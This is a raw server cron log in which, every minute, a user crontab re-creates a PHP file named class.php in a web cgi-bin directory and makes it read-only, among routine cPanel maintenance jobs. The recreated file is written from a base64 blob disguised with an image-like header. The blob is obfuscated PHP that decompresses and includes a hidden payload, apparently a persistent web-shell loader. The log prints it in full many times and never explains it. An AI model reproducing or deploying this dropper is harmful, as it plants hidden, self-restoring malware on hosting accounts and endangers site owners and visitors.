Nov 15 05:56:01 server CROND[571]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:57:01 server CROND[842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:57:01 server CROND[843]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 05:58:01 server CROND[1095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:59:01 server CROND[1360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:00:01 server CROND[1699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:00:01 server CROND[1702]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 06:00:01 server CROND[1701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:00:01 server CROND[1706]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb &gt; /dev/null 2&gt;&amp;1)
Nov 15 06:00:01 server CROND[1707]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:00:01 server CROND[1705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 06:01:01 server CROND[2101]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 06:01:01 server CROND[2102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:01:01 server run-parts(/etc/cron.hourly)[2101]: starting 0anacron
Nov 15 06:01:01 server run-parts(/etc/cron.hourly)[2114]: finished 0anacron
Nov 15 06:02:01 server CROND[2401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:03:01 server CROND[2677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:04:01 server CROND[2957]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:05:01 server CROND[3243]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:05:01 server CROND[3242]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 06:05:01 server CROND[3247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:05:01 server CROND[3249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:06:01 server CROND[3670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:07:01 server CROND[4002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:08:01 server CROND[4267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
